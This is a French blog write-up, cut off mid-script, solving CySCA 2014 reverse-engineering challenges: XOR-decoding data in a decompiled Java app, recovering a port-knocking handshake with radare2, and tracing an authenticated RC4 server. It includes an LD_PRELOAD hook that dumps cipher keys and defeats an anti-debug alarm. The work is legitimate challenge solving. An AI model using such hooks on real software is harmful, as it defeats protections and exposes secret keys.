Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

Archives 2014

Solution du Cyber-Security Challenge Australia 2014 (Reverse Engineering)

Rédigé par devloop - -

Après avoir solutionné la partie Network Forensics du CySCA 2014 l'envie m'est venu de casser du binaire. Je me suis donc lancé sur la partie reverse-engineering.
Le problème du RE c'est que c'est très time-consuming, en particulier quand on n'en fait pas tous les jours :p
Mais comme toujours la satisfaction d'arriver à ses fins, ça n'a pas de prix.

U JAD BRO? (120 points)

Staff from Terribad Corp have forgotten the password for their propriety data protection Java application. They need you to retrieve the data stored in the application and submit it.


Ce premier exécutable à analyser et une application Java (archive .jar). Une fois lancé on se retrouve face à une mire de connexion très basique qui affiche un message d'erreur lorsque l'on rentre des identifiants incorrects.

cysca reverse level 1

Plutôt que de sortir un vieux JAD du placard j'ai décidé de fouiller sur le web pour trouver une application plus agréable me doutant que des progrès avaient du être fait depuis. Et effectivement je suis rapidement tombé sur JD-GUI (Java Decompiler ) qui fonctionne à merveille.

cysca java decompiler

Dans la classe PRAuthService on trouve un nom d'utilisateur (Hero33) ainsi qu'un hash SHA-256 (f483ad5dea697e7e75ebc791028502da183258cd23aeff0327957dc56f703af3) sous la forme d'un tableau d'octets signés.
Brute-forcer du SHA-256 ne me dit rien qui vaille donc la solution est probablement ailleurs.

Dans la classe principale (PRMain) on trouve une méthode loginSuccessful qui défini le contenu à afficher si l'authentification réussit :
    String content = this.contentService.getContent(session);
    this.frame.getContentPanel().setProtectedContent(content);
La solution est en fait située dans la classe PRContentService :

public class PRContentService
{
  private static final byte[] CIPHERED_BYTES = { 30, 0, 21, 8, 90, 86, 4, 0, 10, 6, 80, 92, 38, 53, 30, 26, 80, 88, 113, 87, 67 };

  private String cipherString(String text, String key)
  {
    StringBuilder sb = new StringBuilder();
    for (int i = 0; i < text.length(); i++) {
      sb.append((char)(text.charAt(i) ^ key.charAt(i % key.length())));
    }

    return sb.toString();
  }

  public String getContent(AuthenticatedSession session)
  {
    String result = cipherString(new String(CIPHERED_BYTES), session.getUsername());

    return result;
  }
}
Ici on voit que le nom d'utilisateur est utilisé comme clé pour effectuer un XOR sur une suite d'octets prédéfinis.
Il suffit de reproduire l'opération en Python :
>>> l = [30, 0, 21, 8, 90, 86, 4, 0, 10, 6, 80, 92, 38, 53, 30, 26, 80, 88, 113, 87, 67]
>>> key = "Hero33"
>>> "".join([chr(x ^ ord(key[i%6])) for i, x in enumerate(l)])
'VeggieLexiconPluck921'

Knock Knock (200 points)

Terribad Corp has provided a binary which they think is the "next big thing" in security. They would like to get it certified as a secure product. We need you to reverse engineer the algorithm to understand what it does. Once you have done this, a test server is running at 192.168.1.64:3422 to allow you to prove you completely recovered the algorithm.


On a ici affaire à un petit binaire ELF 32bits de 9.6Ko lié dynamiquement et strippé.
Une analyse rapide des chaines présentes dans l'exécutable indique que le programme effectue un setuid / setguid puis un chroot avec des droits hardcodés.
On remarque aussi des messages d'erreur en rapport avec du port-knocking et enfin le saint graal : une référence à un fichier /flag.txt.

L'analyse du code assembleur avec radare2 se révèle agréable : le code est simple et il n'y a pas d'obfuscation.
Le main() se décompose en deux fonctions. La première à 0x80489f4 permet de changer d'utilisateur, chrooter puis fork().
La seconde fonction (à l'adresse 0x08048f9a) se charge de mettre en écoute une socket et fork() après chaque accept().

Cette dernière fonction en appelle une autre (0x080491f4) lors de la connexion d'un client. C'est à partir d'ici que ça devient intéressant.
Après avoir affiché un message "portknockd: New Client. Waiting for knocks", le programme saute vers 0x08049218 après avoir initialisé un compteur à 0 (ebp - 0x18).
S'ensuit une grosse boucle qui itère 5 fois (cmp dword [ebp - 0x18], 4 ; jbe 0x08049218).

Mais que fait cette boucle ?

D'abord il y a la mise en place d'une protection anti-debug :
0x080491cb    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
0x080491ce    a390b00408   mov dword [0x804b090], eax ; [:4]=0xffffff00
0x080491d3    c74424049c9. mov dword [esp + 4], 0x804919c ; [:4]=0x10100
0x080491db    c704240e000. mov dword [esp], 0xe
0x080491e2    e899f5ffff   call sym.imp.signal
sym.imp.signal(unk)
0x080491e7    8b450c       mov eax, dword [ebp + 0xc] ; [:4]=0
0x080491ea    890424       mov dword [esp], eax
0x080491ed    e8aef5ffff   call sym.imp.alarm
Ici une fonction callback est définie dans le cas où un signal SIGALARM est reçu. Ce callback ferme la connexion et quitte le programme.
Juste en dessous alarm() est appelé pour justement envoyer le signal après un certain laps de temps.
Ainsi si le code met trop de temps à s'exécuter (typiquement le code est débogué), le programme quittera prématurément.

La fonction appelée ensuite est assez parlante :
|          ; CALL XREF from 0x08049239 (fcn.08049218)
/ (fcn) sub.fclose_616 150
|          0x08049616    55           push ebp
|          0x08049617    89e5         mov ebp, esp
|          0x08049619    83ec28       sub esp, 0x28
|          0x0804961c    baba9b0408   mov edx, 0x8049bba
|          0x08049621    b8bd9b0408   mov eax, str._dev_urandom ; "/dev/urandom" @ 0x8049bbd
|          0x08049626    89542404     mov dword [esp + 4], edx ; [:4]=0x10100
|          0x0804962a    890424       mov dword [esp], eax
|          0x0804962d    e87ef2ffff   call sym.imp.fopen
|             sym.imp.fopen(unk)
|          0x08049632    8945f4       mov dword [ebp - 0xc], eax
|          0x08049635    837df400     cmp dword [ebp - 0xc], 0
|      ,=< 0x08049639    751f         jne 0x804965a
|      |   0x0804963b    c7442404cc9. mov dword [esp + 4], str.ERROR__Unable_to_open_urandom_n ; [:4]=0x10100
|      |   0x08049643    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|      |   0x08049646    890424       mov dword [esp], eax
|      |   0x08049649    e885f7ffff   call sub.vsnprintf_dd3
|      |      sub.vsnprintf_dd3()
|      |   0x0804964e    c70424fffff. mov dword [esp], 0xffffffff
|      |   0x08049655    e806f2ffff   call sym.imp.exit
|      |      sym.imp.exit()
|      |   ; JMP XREF from 0x08049639 (sub.fclose_616)
|      `-> 0x0804965a    8d45f0       lea eax, dword [ebp - 0x10]
|          0x0804965d    8b55f4       mov edx, dword [ebp - 0xc]
|          0x08049660    8954240c     mov dword [esp + 0xc], edx ; [:4]=0
|          0x08049664    c7442408010. mov dword [esp + 8], 1 ; [:4]=0
|          0x0804966c    c7442404040. mov dword [esp + 4], 4 ; [:4]=0x10100
|          0x08049674    890424       mov dword [esp], eax
|          0x08049677    e894f1ffff   call sym.imp.fread
|             sym.imp.fread()
|          0x0804967c    8b45f4       mov eax, dword [ebp - 0xc]
|          0x0804967f    890424       mov dword [esp], eax
|          0x08049682    e8d9f0ffff   call sym.imp.fclose
|             sym.imp.fclose()
|          0x08049687    8b4df0       mov ecx, dword [ebp - 0x10]
|          0x0804968a    ba993d60f6   mov edx, 0xf6603d99
|          0x0804968f    89c8         mov eax, ecx
|          0x08049691    f7e2         mul edx
|          0x08049693    89d0         mov eax, edx
|          0x08049695    c1e807       shr eax, 7
|          0x08049698    69c085000000 imull 0x85, eax
|          0x0804969e    89ca         mov edx, ecx
|          0x080496a0    29c2         sub edx, eax
|          0x080496a2    89d0         mov eax, edx
|          0x080496a4    8945f0       mov dword [ebp - 0x10], eax
|          0x080496a7    8b45f0       mov eax, dword [ebp - 0x10]
|          0x080496aa    c9           leave
\          0x080496ab    c3           ret
/dev/urandom est ouvert et 4 octets sont lus. Des calculs supplémentaires (décalage de bits, multiplication, soustraction) sont effectués avant de retourner le résultat mais les détails sont sans importance pour nous car le résultat final est envoyé au client (donc à nous).

L'étape suivante consiste pour le programme à lire 4 octets sur la socket.
Le cœur de notre problème se concentre sur ces quelques lignes avec les fonctions appelées :
|  |   |    ; JMP XREF from 0x080492af (fcn.08049218)
|  |   `--> 0x080492d4    8b45e4       mov eax, dword [ebp - 0x1c]
|  |        0x080492d7    8b55e8       mov edx, dword [ebp - 0x18]
|  |        0x080492da    89542404     mov dword [esp + 4], edx ; [:4]=0x10100
|  |        0x080492de    890424       mov dword [esp], eax
|  |        0x080492e1    e8fe020000   call fcn.080495e4
|  |           fcn.080495e4()
|  |        0x080492e6    8945f4       mov dword [ebp - 0xc], eax
|  |        0x080492e9    8b55f4       mov edx, dword [ebp - 0xc]
|  |        0x080492ec    8b45e0       mov eax, dword [ebp - 0x20]
|  |        0x080492ef    39c2         cmp edx, eax
|  |  ,===< 0x080492f1    7547         jne 0x804933a
|  |  |     0x080492f3    837de804     cmp dword [ebp - 0x18], 4
|  | ,====< 0x080492f7    7522         jne 0x804931b
|  | ||     0x080492f9    8b45ec       mov eax, dword [ebp - 0x14]
|  | ||     0x080492fc    890424       mov dword [esp], eax
|  | ||     0x080492ff    e859000000   call 0x804935d ; (fcn.08049351)
|  | ||        fcn.08049218() ; sub.puts_1f4+361
|  | ||     0x08049304    8b45ec       mov eax, dword [ebp - 0x14]
|  | ||     0x08049307    890424       mov dword [esp], eax
|  | ||     0x0804930a    e811f6ffff   call sym.imp.close
|  | ||        sym.imp.close()
|  | ||     0x0804930f    c7042401000. mov dword [esp], 1
|  | ||     0x08049316    e845f5ffff   call sym.imp.exit
|  | ||        sym.imp.exit()
|  | `----> 0x0804931b    8b45ec       mov eax, dword [ebp - 0x14]
|  |  |     0x0804931e    890424       mov dword [esp], eax
|  |  |     0x08049321    e8faf5ffff   call sym.imp.close
|  |  |        sym.imp.close()
|  |  |     0x08049326    8b45e8       mov eax, dword [ebp - 0x18]
|  |  |     0x08049329    890424       mov dword [esp], eax
|  |  |     0x0804932c    e80f010000   call fcn.08049440
|  |  |        fcn.08049440() ; sub.puts_1f4+588
|  |  |     0x08049331    8945ec       mov dword [ebp - 0x14], eax
|  |  |     0x08049334    8345e801     add dword [ebp - 0x18], 1
|  |,=====< 0x08049338    eb17         jmp fcn.08049351
|  || |     ; JMP XREF from 0x080492f1 (fcn.08049218)
|  || `---> 0x0804933a    8b45ec       mov eax, dword [ebp - 0x14]
|  ||       0x0804933d    890424       mov dword [esp], eax
|  ||       0x08049340    e8dbf5ffff   call sym.imp.close
|  ||          sym.imp.close()
|  ||       0x08049345    c7042401000. mov dword [esp], 1
|  ||       0x0804934c    e80ff5ffff   call sym.imp.exit
|  ||          sym.imp.exit()
|  ||       ; JMP XREF from 0x08049213 (sub.puts_1f4)
|  ||       ; JMP XREF from 0x08049338 (fcn.08049218)
|- fcn.08049351 239
|  |`-----> 0x08049351    837de804     cmp dword [ebp - 0x18], 4
|  `======< 0x08049355    0f86bdfeffff jbe fcn.08049218
Dans ce code on a les variables locales suivantes :
  • ebp-0x14 : la socket client
  • ebp-0x18 : le compteur qui monte jusqu'à 4
  • ebp-0x1c : les 4 octets envoyés au client
  • ebp-0x20 : les 4 octets en provenance du client
  • ebp-0xc : le retour de la fonction fcn.080495e4
La fonction fcn.080495e4 qui prend en paramètre les 4 octets envoyés plus tôt au client et le compteur a le code suivant :
|          0x080495e4    55           push ebp
|          0x080495e5    89e5         mov ebp, esp
|          0x080495e7    83ec10       sub esp, 0x10
|          0x080495ea    8b450c       mov eax, dword [ebp + 0xc] ; [:4]=0
|          0x080495ed    83e001       and eax, 1
|          0x080495f0    85c0         test eax, eax
|      ,=< 0x080495f2    750f         jne 0x8049603
|      |   0x080495f4    8b450c       mov eax, dword [ebp + 0xc] ; [:4]=0
|      |   0x080495f7    83c002       add eax, 2
|      |   0x080495fa    0faf4508     imul eax, dword [ebp + 8]
|      |   0x080495fe    8945fc       mov dword [ebp - 4], eax
|     ,==< 0x08049601    eb0e         jmp 0x8049611 ; (fcn.080495e4)
|     ||   ; JMP XREF from 0x080495f2 (fcn.080495e4)
|     |`-> 0x08049603    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|     |    0x08049606    8b550c       mov edx, dword [ebp + 0xc] ; [:4]=0
|     |    0x08049609    01d0         add eax, edx
|     |    0x0804960b    83c002       add eax, 2
|     |    0x0804960e    8945fc       mov dword [ebp - 4], eax
|     `--> 0x08049611    8b45fc       mov eax, dword [ebp - 4]
|          0x08049614    c9           leave
\          0x08049615    c3           ret
On peut l'écrire comme ceci en Python :
def calc(x, cpt):
    if cpt & 1:
        return x + cpt + 2
    return (cpt + 2) * x
Si le résultat de la fonction ne correspond pas à ce que le serveur a reçu, la socket est fermée et le programme quitte (c'est une sorte de handshake).

Par contre si le test réussit on a deux cas de figure :
  • le compteur est à 4 : le flag est envoyé.
  • le compteur est inférieur à 4 : on appelle fcn.08049440 en lui passant le compteur. Le résultat de cette fonction vient écraser le descripteur de la socket.
La fonction fcn.08049440 est donc bien mystérieuse mais quand on y jette un œil elle appelle juste socket(), htons(), setsockopt(), bind(), listen() puis accept(), bref elle récupère un nouveau client sur un nouveau port d'écoute.

Tout se joue sur l'appel à htons() :
0x080494ef    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
0x080494f2    8b0485c49a0. mov eax, dword [eax*4 + 0x8049ac4] ; [:4]=0xd5e
0x080494f9    0fb7c0       movzx eax, ax
0x080494fc    890424       mov dword [esp], eax
0x080494ff    e8ccf2ffff   call sym.imp.htons
On voit que le compteur passé en argument sert d'index pour un tableau d'entiers.
Ce tableau est hardcodé et on peut l'afficher avec la commande px depuis radare :
[0x0804a340]> px @ 0x8049ac4
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x08049ac4  5e0d 0000 b411 0000 2317 0000 2609 0000  ^.......#...&...
0x08049ad4  9c15 0000 706f 7274 6b6e 6f63 6b64 3a20  ....portknockd:
Les ports utilisés pour le port knocking sont donc les suivants (dans l'ordre) :
0x0d5e : 3422
0x11b4 : 4532
0x1723 : 5923
0x0926 : 2342
0x159c : 5532

Le code suivant permet d'obtenir le flag :
import socket
import struct
import time

ports = [3422, 4532, 5923, 2342, 5532]

def calc(x, cpt):
    if cpt & 1:
        return x + cpt + 2
    return (cpt + 2) * x

for i, port in enumerate(ports):
    s = socket.socket()
    print "Connexion sur le port", port
    s.connect(('192.168.1.64', port))

    buff = s.recv(4)
    x, = struct.unpack("i", buff)
    print "recu", x
    y = calc(x, i)
    buff = struct.pack("i", y)
    print "envoi", y
    s.send(buff)
    if i == 4:
        print s.recv(32)
    s.close()
    time.sleep(0.1)
Exécution :
Connexion sur le port 3422
recu 99
envoi 198
Connexion sur le port 4532
recu 79
envoi 82
Connexion sur le port 5923
recu 120
envoi 480
Connexion sur le port 2342
recu 68
envoi 73
Connexion sur le port 5532
recu 103
envoi 618
DemonViolatePride346

Forever Alone (280 points)

Terribad Corp has lost the client component of a legacy application that they no longer have the source code for. They want you to reverse engineer the provided server binary and build a client to interact with the server. Once you have done this, the server binary is running on 192.168.1.64 to test your client implementation against.

Ah c'est boulets chez Terribad Corp ! :p Ce troisème binaire a les même caractéristiques que le précédent si ce n'est qu'en plus il est linké avec libcrypto (openssl) et libstdc++.
D'après un srch_strings le binaire a aussi du code en commun avec le binaire précédent (le principe de changement d'utilisateur et de chroot).

On trouve quelques chaines intéressantes :
Connection Timeout
<Not Authenticated>
LUK_MURPHY
!!!Zer0IsTheCoolest!!!
RE03: Authentication failed for user '
RE03: User '
' Authenticated
RE03: Scrambling Key
Test12345678
RE03: Encryption setup failed for authenticated user
' encryption setup
7CClient
RE03: Unknown Command Type:
 SeqID:
        Arg(
) = 
vector::_M_insert_aux
8CCommand
Pour permettre l'exécution du programme il faut :
  • créer un dossier /chroots/2013 dans lequel le binaire va chrooter
  • créer un groupe sur le système avec le GID 1014
  • créer un utilisateur sur le système avec l'ID 2013 et le groupe précédent

On lance alors le programme avec ltrace pour voir ce qu'il fait dans le ventre :
__libc_start_main(0x804c01f, 1, 0xbfb5dbc4, 0x804c7c0, 0x804c830 <unfinished ...>
_ZNSt8ios_base4InitC1Ev(0x8050234, 0x200246, 0xbfb5dbc4, 1, 0x5c2ff4)              = 0x3c7990
__cxa_atexit(0x80497a0, 0x8050234, 0x8050158, 1, 0x5c2ff4)                         = 0
_ZNSt8ios_base4InitC1Ev(0x8050238, 0x8050234, 0x8050158, 1, 0x5c2ff4)              = 2
__cxa_atexit(0x80497a0, 0x8050238, 0x8050158, 1, 0x5c2ff4)                         = 0
_ZNSt8ios_base4InitC1Ev(0x805023c, 0x8050238, 0x8050158, 1, 0x5c2ff4)              = 3
__cxa_atexit(0x80497a0, 0x805023c, 0x8050158, 1, 0x5c2ff4)                         = 0
getuid()                                                                           = 0
getgid()                                                                           = 0
printf("Currently running as user 0 and group 0")                        = 40
printf("Moving into chroot jail for user 2013. Path = '/chroots/2013')        = 62
chroot(0x804ca83, 2013, 0x804ca83, 0x804c6cf, 1)                                   = 0                                                                                                          
chdir("/")                                                               = 0
printf("Changing group from 0 to 1014")                                  = 30
setgid(1014)                                                                       = 0
printf("Changing user from 0 to 2013")                                   = 29
setuid(2013)                                                                       = 0
puts("Forking...."Forking....)                                           = 12
fork()                                                                             = 6379
printf("Child process 6379 spawned. Original process quitting")          = 54
exit(1 <unfinished ...>
_ZNSt8ios_base4InitD1Ev(0x805023c, 1, 0xbfb5dad8, 0, 0x8048798)                    = 4
_ZNSt8ios_base4InitD1Ev(0x8050238, 1, 0xbfb5dad8, 0, 0x8048798)                    = 3
_ZNSt8ios_base4InitD1Ev(0x8050234, 1, 0xbfb5dad8, 0, 0x8048798)                    = 0x3c74a0
+++ exited (status 1) +++
RE03: Waiting for connections on port 7821
RE03: Connection recieved on port 7821 from client 192.168.151.1
L'output généré a été réduit dans un souci de clarté. On voit ici des noms de fonctions bizarres qui correspondent en réalité à du C++.
ltrace dispose d'une option -C qui fait un demangle de ces noms et les converti en quelque chose de plus parlant :)
L'option -i nous sera aussi utile car elle affiche l'adresse de l'instruction pour chaque appel de librairie.
On va devoir aussi utiliser l'option -f pour suivre les processus fils sinon on va rester bloqués au fork().

On reprend le traçage :
[pid 7536] memset(0xbf958a4c, '\000', 16)                                                         = 0xbf958a4c
[pid 7536] htons(7821, 0, 16, 0x804c37e, 3)                                                       = 36126
[pid 7536] bind(3, 0xbf958a4c, 16, 0x804c37e, 3)                                                  = 0
[pid 7536] listen(3, 10, 16, 0x804c37e, 3)                                                        = 0
[pid 7536] std::basic_ostream<char, std::char_traits<char> >& std::operator<< ---snip---
[pid 7536] std::ostream::operator<<(int)(0x80501a0, 7821, 16, 0x804c37e, 3)                       = 0x80501a0
[pid 7536] std::ostream::operator<<(std::ostream& (*)(std::ostream&))(0x80501a0, 0x8049360, 16, 0x804c37e, 3 <unfinished ...>
[pid 7536] std::basic_ostream<char, std::char_traits<char> >& std::endl<char, ---snip--- RE03: Waiting for connections on port 7821) = 0x80501a0
[pid 7536] <... std::ostream::operator<<(std::ostream& (*)(std::ostream&)) resumed> )             = 0x80501a0
[pid 7536] signal(17, 0x00000001)                                                                 = NULL
[pid 7536] accept(3, 0xbf958a4c, 0xbf958a44, 0x70382f, 0xbf958628)                                = 4
[pid 7536] inet_ntoa(0x0197a8c0)                                                                  = "192.168.151.1"
[pid 7536] std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> ---snip---
[pid 7536] std::ostream::operator<<(int)(0x80501a0, 7821, 0xbf958a44, 0x70382f, 0xbf958628)       = 0x80501a0
[pid 7536] std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> ---snip---
[pid 7536] std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> ---snip---
[pid 7536] std::ostream::operator<<(std::ostream& (*)(std::ostream&))(0x80501a0, 0x8049360, 0xbf958a44, 0x70382f, 0xbf958628 <unfinished ...>
[pid 7536] std::basic_ostream<char, std::char_traits<char> ---snip--- RE03: Connection recieved on port 7821 from client 192.168.151.1) = 0x80501a0
[pid 7536] <... std::ostream::operator<<(std::ostream& (*)(std::ostream&)) resumed> )             = 0x80501a0
[pid 7536] fork()                                                                                 = 7540
[pid 7536] close(4)                                                                               = 0
[pid 7536] accept(3, 0xbf958a4c, 0xbf958a44, 0x70382f, 0xbf958628 <unfinished ...>
[pid 7540] <... fork resumed> )                                                             = 0
[pid 7540] close(3)                                                                               = 0
[pid 7540] std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()(0xbf958a40, 0x70a6b0, 1331, 0x519fc0, 3) = 0xbf958a40
[pid 7540] std::string::operator=(char const*)(0xbf958a40, 0x804c8a4, 1331, 0x519fc0, 3)          = 0xbf958a40
[pid 7540] signal(14, 0x08049874)                                                                 = NULL
[pid 7540] alarm(30)                                                                              = 0
[pid 7540] recv(4, 0xbf958564, 64, 0, 0)                                                          = 2
[pid 7540] alarm(30)                                                                              = 30
[pid 7540] send(4, 0x804c8b8, 1, 0, 4)                                                            = 1
[pid 7540] close(4)                                                                               = 0
[pid 7540] exit(1 <unfinished ...>
[pid 7540] std::ios_base::Init::~Init()(0x805023c, 1, 0x717ad0, 0, 0x8048798)                     = 4
[pid 7540] std::ios_base::Init::~Init()(0x8050238, 1, 0x717ad0, 0, 0x8048798)                     = 3
[pid 7540] std::ios_base::Init::~Init()(0x8050234, 1, 0x717ad0, 0, 0x8048798)                     = 0x4344a0
[pid 7540] +++ exited (status 1) +++
J'ai du couper l'output une fois de plus en raison des noms C++ à rallonge mais on dispose ici de plus d'informations.
On retrouve un signal+alarm pour compliquer le débogage. Ensuite le programme s'attend à recevoir 64 octets puis en retourne 1 (un code de status vraisemblablement).

L'analyse se fait donc de la façon suivante : on trace le programme, on regarde ce qu'il attend, on adapte, on retrace, etc.
Ainsi si on lui envoie 64 octets on a un appel de fonction supplémentaire :
[pid 8208] strcasecmp("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LUK_MURPHY")
En python on lui envoie ce qu'il demande :
import socket

s = socket.socket()
s.connect(('192.168.151.128', 7821))
buff = "LUK_MURPHY"
buff += "\0" * (64 * len(buff))
s.send(buff)
buff = s.recv(200)
print buff.encode("hex_codec")
s.close()
On a cette fois un retour différent :
[pid 8644] send(4, 0xbfc7d12c, 4, 0, 0)                                                           = 4
[pid 8644] recv(4, 0xbfc7d174, 20, 0, 0)                                                          = 20
[pid 8644] SHA1_Init(0xbfc7d0cc, 0xbfc7d174, 20, 0, 0)                                            = 1
[pid 8644] SHA1_Update(0xbfc7d0cc, 0xbfc7d12c, 4, 0, 0)                                           = 1
[pid 8644] SHA1_Update(0xbfc7d0cc, 0x804c8c5, 22, 0, 0)                                           = 1
[pid 8644] SHA1_Update(0xbfc7d0cc, 0xbfc7d12c, 4, 0, 0)                                           = 1
[pid 8644] SHA1_Final(0xbfc7d188, 0xbfc7d0cc, 4, 0, 0)                                            = 1
[pid 8644] memcmp(0xbfc7d188, 0xbfc7d174, 20, 0, 0)                                               = 1
[pid 8644] std::basic_ostream<char, std::char_traits<char> >&---snip---) = 0x80501a0
[pid 8644] std::basic_ostream<char, std::char_traits<char> >&---snip---) = 0x80501a0
[pid 8644] std::ostream::operator<<(std::ostream& (*)(std::ostream&))(0x80501a0, 0x8049360, 20, 0, 0 <unfinished ...>
[pid 8644] std::basic_ostream<char, std::char_traits ---snip--- RE03: Authentication failed for user '<Not Authenticated>
Ici les méthodes de hashage d'OpenSSL sont appelées. Toutefois ltrace ne les reconnait pas et reprend le nombre d'arguments de la précédente fonction sans se poser de question.
D'après la documentation d'OpenSSL le second argument de SHA1_Update correspond aux données à hasher et le 3ème argument à la taille.

Ainsi le code fait sha1(données envoyées + 22 octets à 0x804c8c5 + données envoyées).

Les 22 octets en question sont l'une des chaines vu plus tôt :
[0x080499c0]> px @ 0x804c8c5
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804c8c5  2121 215a 6572 3049 7354 6865 436f 6f6c  !!!Zer0IsTheCool
0x0804c8d5  6573 7421 2121 0052 4530 333a 2041 7574  est!!!.RE03: Aut
Mais avant d'aller plus loin on va ajouter des profils openssl pour ltrace.
La page de manuel pour ltrace.conf nous renseigne sur la syntaxe à utiliser.

Sous openSUSE j'ai créé le fichier /usr/share/ltrace/libcrypto.so.conf avec le contenu suivant :
addr SHA1(string(array(char, arg2)*), ulong, addr);
int SHA1_Init(addr);
int SHA1_Update(addr, string(array(char, arg3)*), ulong);
int SHA1_Final(addr, addr);

void RC4_set_key(addr, int, string(array(char, arg2)*));
void RC4(addr, ulong, string(array(char, arg2)*), addr);
Comme ça lors des prochains appels de ltrace ce dernier connaîtra le nombre d'arguments à afficher ainsi que comment les afficher.
Dans le code, la partie concernant le hashage se retrouve à 0x08049f31.

Il s'avère que les 4 octets envoyés sont un nonce généré aléatoirement.
|    `----> 0x0804a040    8d85e8feffff lea eax, dword [ebp - 0x118]
|           0x0804a046    89442404     mov dword [esp + 4], eax ; [:4]=0x10100 ; SHA_CTX struct
|           0x0804a04a    8d45d0       lea eax, dword [ebp - 0x30]
|           0x0804a04d    890424       mov dword [esp], eax                    ; hash (out)
|           0x0804a050    e82bf4ffff   call sym.imp.SHA1_Final  ; <--- fin du calcul du hash
|              sym.imp.SHA1_Final()
|           0x0804a055    85c0         test eax, eax
|           0x0804a057    0f94c0       sete al
|           0x0804a05a    84c0         test al, al
|   ,=====< 0x0804a05c    740e         je 0x804a06c
|   |       0x0804a05e    8b85e4feffff mov eax, dword [ebp - 0x11c]
|   |       0x0804a064    890424       mov dword [esp], eax
|   |       0x0804a067    e86cf9ffff   call 0x80499d8 ; (sub.send_9d7)
|   |          sub.send_9d7()
|   |       ; JMP XREF from 0x0804a05c (sub.send_f31)
|   `-----> 0x0804a06c    8b8548ffffff mov eax, dword [ebp - 0xb8]
|           0x0804a072    8d55d0       lea edx, dword [ebp - 0x30]
|           0x0804a075    89542408     mov dword [esp + 8], edx ; [:4]=0        ; hash
|           0x0804a079    89442404     mov dword [esp + 4], eax ; [:4]=0x10100  ; nonce
|           0x0804a07d    8b85e4feffff mov eax, dword [ebp - 0x11c]             ; SHA_CTX struct
|           0x0804a083    890424       mov dword [esp], eax
|           0x0804a086    e8c9fcffff   call sub._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc_d54
|              sub._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc_d54()
|           0x0804a08b    8b85e4feffff mov eax, dword [ebp - 0x11c]
|           0x0804a091    8d500c       lea edx, dword [eax + 0xc]
|           0x0804a094    8d45d0       lea eax, dword [ebp - 0x30]
|           0x0804a097    89442408     mov dword [esp + 8], eax ; [:4]=0        ; data
|           0x0804a09b    c7442404140. mov dword [esp + 4], 0x14 ; [:4]=0x10100 ; len = 20
|           0x0804a0a3    891424       mov dword [esp], edx                     ; RC4_KEY struct
|           0x0804a0a6    e895f2ffff   call sym.imp.RC4_set_key
Jusque là tout allait bien malheureusement à l'adresse 0x0804a086 une fonction s'occupe de mélanger le hash SHA1 généré (comme indiqué dans l'output du programme : "RE03: Scrambling Key").
Je n'ai pas souhaité analyser cette fonction qui est composée d'environ 150 instructions assembleur pour faire des opérations mathématiques en tout genre.

A ce stade j'ai préféré hooker la fonction RC4_set_key et récupérer la clé une fois mélangée. J'en ai profité pour hooker alarm et l'empècher de mettre un timer.
Pour cela j'ai écrit la librairie suivante (hook.c) :
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

static void (*real_RC4_set_key)(void *key, int len, const unsigned char *data) = NULL ;
static void (*real_alarm)(unsigned int seconds) = NULL ;

void RC4_set_key(void *key, int len, const unsigned char *data)
{
  if (real_RC4_set_key == NULL) {
    unsigned int i;
    FILE * f = NULL;

    real_RC4_set_key = dlsym(RTLD_NEXT, "RC4_set_key");
    if (dlerror() != NULL) {
      printf("Le hook a echoue\n");
      exit(1);
    }
    f = fopen("/rc4_key.txt", "w+");
    if (f == NULL) perror("Erreur ouverture fichier");
    for (i=0; i<len; i++) {
      fprintf(f, "%02X", data[i]);
    }
    fclose(f);
  }
  return real_RC4_set_key(key, len, data);
}

void alarm(unsigned int seconds)
{
  if (real_alarm == NULL) {
    real_alarm = dlsym(RTLD_NEXT, "alarm");
  }
  return real_alarm(0);
}
On compile ça de cette façon (j'utilise m32 car le binaire du challenge est en 32bits) :
gcc -Wall -fPIC -c -o hook.o hook.c -m32
gcc -shared -fPIC -Wl,-soname -Wl,libhook.so -o libhook.so hook.o -m32
Il suffit alors de tracer à nouveau le programme en utilisant LD_PRELOAD :
LD_PRELOAD=libhook.so ltrace -i -f -C ./binary3
LD_PRELOAD permet de spécifier une librairie prioritaire pour la recherche des fonctions. Dans le code la constante RTLD_NEXT passée à dlsym indique qu'il faut passer la main à la prochaine fonction correspondant au symbole (soit la fonction légitime).

Ici le hook de RC4_set_key dumpe la clé dans un fichier texte tandis que le hook de alarm modifie l'argument passé (annulant ainsi l'alarme).

Mais revenons à nos moutons : la hash SHA1 mélangé sert de clé pour des échanges chiffrés RC4.
RC4 est un "stream cipher", il garde un "état" d'où il est en dans le chiffrement. Ainsi si vous chiffrez A puis ensuite B alors le chiffrement de B ne donnera pas le même résultat que vous si aviez chiffré directement B sans passer par A et ce même si vous avez utilisé la même clé !

Ca veut dire que dans une communication RC4 entre deux pairs, les deux protagonistes doivent avoir chiffré les même données pour être dans le même état et se comprendre.

Après avoir pris cela en compte et quelques ltrace plus tard on a le client suivant (ici je me connecte à ma copie locale du binaire en raison du dump) :
s = socket.socket()
s.connect(('192.168.1.3', 7821))
print "[*] Connecting to server"
buff = "LUK_MURPHY\0"
buff += "\0" * (64 - len(buff))
s.send(buff)
nonce = s.recv(4)
print "[i] AUTH nonce = {0}".format(nonce.encode("hex_codec"))
s.send(hashlib.sha1(nonce + key + nonce).digest())
status = ord(s.recv(1)[0])

if status:
    print "[!] AUTH: failure"
    sys.exit()
print "[i] AUTH: success"

nonce = s.recv(4)
print "[i] RC4 nonce = {0}".format(nonce.encode("hex_codec"))

rc4_key = hashlib.sha1(key + nonce).digest()
print "[i] rc4_key = {0}".format(rc4_key.encode("hex_codec"))

print "[*] Launching gdb session"
